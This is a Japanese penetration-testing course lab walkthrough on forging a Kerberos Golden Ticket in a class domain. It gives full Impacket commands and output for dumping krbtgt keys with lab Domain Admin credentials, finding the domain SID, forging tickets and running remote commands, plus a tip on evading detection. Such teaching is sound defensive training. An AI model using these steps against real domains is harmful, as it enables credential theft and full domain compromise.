Skip to content

Lab 5.3: Golden Ticket

オンライン演習

接続性: この演習では、クラス内ネットワーク(560A VPN経由)に接続している必要があります

目的

  • krbtgt アカウントの Kerberos キーを抽出します
  • 取得したキーを使用してゴールデンチケットを作成します
  • ゴールデンチケットを使用してドメインにアクセスします

Walkthrough Video

Lab セットアップ

使用するVM:

  • Linux

SEC560 Linux VMから dc01.hiboxy.com (10.130.10.10) にpingできる(かつ名前解決できる)ことを確認してください:

コマンド

ping -c 4 10.130.10.10

想定される結果

sec560@560vm:~$ ping -c 4 10.130.10.10
PING 10.130.10.10 (10.130.10.10) 56(84) bytes of data.
64 bytes from 10.130.10.10: icmp_seq=1 ttl=63 time=66.8 ms
64 bytes from 10.130.10.10: icmp_seq=2 ttl=63 time=66.0 ms
64 bytes from 10.130.10.10: icmp_seq=3 ttl=63 time=67.0 ms
64 bytes from 10.130.10.10: icmp_seq=4 ttl=63 time=66.9 ms

--- 10.130.10.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 65.950/66.668/66.993/0.421 ms

Lab – ステップバイステップ手順

hiboxy.com ドメインのDCにアクセスします。Kerberoast labで、ドメイン管理者権限を持つ SVC_SQLService2 Domain Admin アカウントを侵害したことを思い出してください。ここから、ゴールデンチケットの作成に使用できる krbtgt アカウントのハッシュを取得することが目標です。

1: krbtgt アカウントのシークレットを抽出する

Kerberos labで回収したDomain Adminアカウントの認証情報と secretsdump.py を使用して、ドメインコントローラーから krbtgt アカウントのアカウントシークレットを抽出します。Secretsdump.pyは優れた Impacket ツールスイートの一部です。

Kerberos labで回収したドメイン管理者アカウントは次のとおりです:

  • Domain: hiboxy.com
  • Username: SVC_SQLService2
  • Password: ^Cakemaker

念のため、有効なゴールデンチケットを生成するには、krbtgt アカウントのNTハッシュまたはAESキー(Kerberos暗号化キー)のいずれかを抽出する必要があります。コマンドの構文は次のとおりです:

コマンド例

secretsdump.py domain/username@target options

同じ(または類似の)コマンドを再度使用する場合、時間を節約するために、ユーザー名の後に :password(文字通り password ではなく、実際のアカウントパスワード)を追加することもできます。

-just-dc-user オプションを使用して、krbtgt アカウントのパスワードハッシュを抽出します。

secretsdump.py を使用して krbtgt アカウントのパスワードハッシュを取得します:

コマンド

secretsdump.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 -just-dc-user krbtgt

想定される結果

sec560@560vm:~$ secretsdump.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 -just-dc-user krbtgt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5f0cc426747b3e28d5d16baed2c98d6d:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:73a1ab696c7fe0764307512e3bfe23e25fcdedb15e520a95489c8be946a52554
krbtgt:aes128-cts-hmac-sha1-96:9dcebb78b8ff5b521e449edee03126c9
krbtgt:des-cbc-md5:d0d591a479627ad0
[*] Cleaning up... 

コマンドの出力には、Kerberosキーが抽出されていることが明確に表示されるはずです。上記の出力では、NTハッシュ(RC4暗号化キー)とAES暗号化キーの両方が抽出されていることがわかります!素晴らしい!

NTハッシュの変更

ここのNTハッシュは意図的に変更されています。ハッシュはラボの構築時にWindowsによってランダムに生成されるため、この値を事前に共有することはできません!

2: ゴールデンチケットを作成するためのドメイン情報を取得する

前のステップで、ゴールデンチケットを作成するための最も重要な(そして入手が最も困難な)情報、TGTの暗号化に使用されるkrbtgtアカウントのパスワードハッシュを取得しました。

とはいえ、ゴールデンチケットを正常に作成するには、ドメインに関するもう少し情報を取得する必要があります。

まず、ドメインの完全修飾ドメイン名を知る必要があります。この情報は、ドメインに参加しているターゲットマシンで ipconfig /all コマンドを実行することで見つけることができます。

wmiexec.pyipconfig /all を使用してドメイン名を取得します:

コマンド

wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 ipconfig /all

想定される結果

sec560@560vm:~$ wmiexec.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 ipconfig /all
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used

Windows IP Configuration

Host Name . . . . . . . . . . . . : dc01
Primary Dns Suffix  . . . . . . . : hiboxy.com
Node Type . . . . . . . . . . . . : Hybrid
IP Routing Enabled. . . . . . . . : No
WINS Proxy Enabled. . . . . . . . : No
DNS Suffix Search List. . . . . . : us-east-1.ec2-utilities.amazonaws.com
                                    us-east-2.compute.internal
                                    us-east-2.ec2-utilities.amazonaws.com
                                    hiboxy.com

Ethernet adapter Ethernet:

Connection-specific DNS Suffix  . : hiboxy.com
Description . . . . . . . . . . . : Intel(R) 82599 Virtual Function
Physical Address. . . . . . . . . : 06-CD-17-EC-44-91
DHCP Enabled. . . . . . . . . . . : Yes
Autoconfiguration Enabled . . . . : Yes
Link-local IPv6 Address . . . . . : fe80::fa69:b2e6:c644:1075%7(Preferred) 
IPv4 Address. . . . . . . . . . . : 10.130.10.4(Preferred) 
Subnet Mask . . . . . . . . . . . : 255.255.255.0
...truncated for brevity...

FQDNは Primary DNS Suffix セクションにあり、今回の場合は hiboxy.com になります。もちろん、すでにそれは知っていましたが、確認しても損はありません。

ドメインSIDも必要になります。これを見つけるために、Impacketスイートの別のツールである lookupsid.py を使用します。このスクリプトは、以前に使用したImpacketコマンドと同じターゲット構文を使用します。

ラボの前半と同じターゲット情報を使用して lookupsid.py コマンドを実行します。このコマンドを使用して、520未満のRIDを取得します:

コマンド

lookupsid.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 520

想定される結果

sec560@560vm:~$ lookupsid.py hiboxy.com/SVC_SQLService2:^Cakemaker@10.130.10.4 520
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Brute forcing SIDs at 10.130.10.4
[*] StringBinding ncacn_np:10.130.10.4[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4148103352-2461449634-48610133
498: HIBOXY\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: HIBOXY\Administrator (SidTypeUser)
501: HIBOXY\Guest (SidTypeUser)
502: HIBOXY\krbtgt (SidTypeUser)
512: HIBOXY\Domain Admins (SidTypeGroup)
513: HIBOXY\Domain Users (SidTypeGroup)
514: HIBOXY\Domain Guests (SidTypeGroup)
515: HIBOXY\Domain Computers (SidTypeGroup)
516: HIBOXY\Domain Controllers (SidTypeGroup)
517: HIBOXY\Cert Publishers (SidTypeAlias)
518: HIBOXY\Schema Admins (SidTypeGroup)
519: HIBOXY\Enterprise Admins (SidTypeGroup)

ドメインSIDは出力の最初に表示されます。これは S-1-5 で始まります(上記のハイライトされたテキストを参照)。

ドメインSIDは異なります!

上記に表示されているSID(S-1-5-21-4148103352-2461449634-48610133)は、あなたが見るものとは異なります。画面に表示されている値を使用してください!この値は環境の構築時にランダムに生成されます。

3: ゴールデンチケットを作成する

上記の情報があれば、ゴールデンチケットを作成できます。Linux VMから、Impacketスイートのさらに別のツールである ticketer.py を使用してこれを行うことができます!Windowsマシンでは、代わりにMimikatzやRubeusなどのツールを使用できます。

次のオプションを指定して ticketer.py スクリプトを使用します:

  • -domain: ターゲットドメイン名は hiboxy.com
  • -domain-sid: ターゲットドメインSID(セキュリティ識別子)
  • -aesKey: 以前に盗んだAESキー(AES128またはAES256キーのいずれか)を使用してゴールデンチケットを作成します
  • 最後に、Administrator アカウント用のゴールデンチケットを作成することを指定します

コマンド

SIDとハッシュが変更されました!

以下に示すドメインSIDとAESキーは、画面に表示されるものと一致しません。ここに示されている値の代わりに、画面に表示されている値を使用してください。

ticketer.py -domain hiboxy.com -domain-sid S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ -aesKey REPLACETHISfe23e25fcdedb15e520a95489c8be946a52554 Administrator 2>/dev/null

想定される結果

sec560@560vm:~$ ticketer.py -domain hiboxy.com -domain-sid S-1-5-21-4148103352-2461449634-48610133 -aesKey 73a1ab696c7fe0764307512e3bfe23e25fcdedb15e520a95489c8be946a52554 Administrator 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for hiboxy.com/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in Administrator.ccache

ドメインSIDとハッシュは異なります!

ドメインSIDとkrbtgtアカウントのハッシュは、いずれもラボの構築時にランダムに生成されます。このラボに表示されている値ではなく、画面に表示されている値を使用する必要があります!

2>/dev/null について興味がありますか?

Impacketの現在のリビジョンは、警告を生成する非推奨のPython関数をいくつか使用しています。コマンドの最後にある 2>/dev/null はこれらの警告を抑制します。興味がある場合は、コマンドのこの部分を削除して、生成される警告を確認できます。

回避に関する小さな注意事項: ここでは krbtgt アカウントのAESキーを使用しました。典型的な環境では、AESはより一般的に使用されているKerberos暗号化タイプであり、(NTハッシュを介した)RC4暗号化の使用は、それ自体が異常であり、さらなる調査が必要になります。

4: ゴールデンチケットを使用する

実際のシナリオでは、ゴールデンチケットをドメインに参加しているマシンのメモリにロードして、ドメイン管理者権限を再度取得できます。ペネトレーションテストの実施においては、これには細心の注意を払ってください。多くの場合、ゴールデンチケットの生成はスコープ外と見なされますが、当社の主力ペネトレーションテストコースでは、原理を説明することが価値があると考えています。

いくつかのリファレンスドキュメントを提供するために、ゴールデンチケットは、Mimikatz(Windows)などのツールを使用してメモリにロードできます:

コマンド例(実行しないでください)

kerberos::ptt C:\bin\ticket.kirbi

または Impacket スイート(Linux):

コマンド

export KRB5CCNAME=Administrator.ccache

チケットを使用して file01.hiboxy.com(10.130.10.44)システムにアクセスしましょう。wmiexec.py スクリプトを再度使用できますが、認証情報を指定する代わりに、-k を使用してKerberos認証を使用し、-no-pass を使用してパスワードを指定する必要がないようにします。また、-dc-ip 10.130.10.4 を指定して、wmiexecにドメインコントローラーのIPアドレスを伝える必要があります。

それでは、攻撃を実行しましょう!

Administrator.ccacheチケットファイルをエクスポートした後、-k -no-pass 引数を使用して、wmiexecやpsexecなどのImpacketスイートの任意のツールを使用できます。

コマンド

export KRB5CCNAME=Administrator.ccache
wmiexec.py -k -no-pass -dc-ip 10.130.10.4 file01.hiboxy.com hostname

想定される結果

sec560@slingshot:~$ export KRB5CCNAME=Administrator.ccache
sec560@slingshot:~$ wmiexec.py -k -no-pass -dc-ip 10.130.10.4 file01.hiboxy.com hostname
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
file01
エラーが発生しましたか?

最も可能性の高い問題は、ドメインSIDまたは krbtgt ユーザーのAESキーのコピー&ペーストミスです。これらの値(それぞれ lookupsid.pysecretsdump.py から)を再確認して、もう一度試してください。

5: 別のチケット

Administrator アカウントを使用しました。偽造されたユーザーとIDを試すとどうなるか見てみましょう。

偽のユーザー名 pwned でゴールデンチケットを作成します:

コマンド

SIDとハッシュが変更されました!

以下に示すドメインSIDとAESキーは、画面に表示されるものと一致しません。ここに示されている値の代わりに、画面に表示されている値を使用してください。

ticketer.py -domain hiboxy.com -domain-sid S-1-5-21-XXXXXXXXXX-YYYYYYYYYY-ZZZZZZZZZZ -aesKey REPLACETHISfe23e25fcdedb15e520a95489c8be946a52554 pwned 2>/dev/null

想定される結果

sec560@560vm:~$ ticketer.py -domain hiboxy.com -domain-sid S-1-5-21-192933032-935247328-1510830890 -aesKey 18323b71ce23ebe30a7cbeaa4860240b pwned 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for hiboxy.com/pwned
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncAsRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncASRepPart
[*] Saving ticket in pwned.ccache

新しいチケットを使用して、whoami を使用してユーザー名を file01.hiboxy.com に尋ねます。

コマンド

export KRB5CCNAME=pwned.ccache
wmiexec.py -k -no-pass -dc-ip 10.130.10.4 file01.hiboxy.com whoami

想定される結果

sec560@560vm:~$ export KRB5CCNAME=pwned.ccache
sec560@560vm:~$ wmiexec.py -k -no-pass -dc-ip 10.130.10.4 file01.hiboxy.com whoami
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] Kerberos SessionError: KDC_ERR_TGT_REVOKED(TGT has been revoked)

完全にパッチが適用されたWindows 2022ドメインコントローラーは、ユーザー名が(数値)IDと一致することを確認するために検証します。完全に更新されたWindowsネットワークを使用しているため、この攻撃はここでは機能しませんでしたが、ペネトレーションテストでは機能する可能性があります!

まとめ

このラボでは、管理者権限を持つドメインユーザーを使用して、krbtgt ユーザーからKerberosキーを取得する方法を確認しました。この情報と、完全修飾ドメイン名やドメインSIDなどの簡単に取得できるドメイン情報により、ゴールデンチケットを作成し、このチケットを使用して管理者権限でドメインにアクセスすることができました。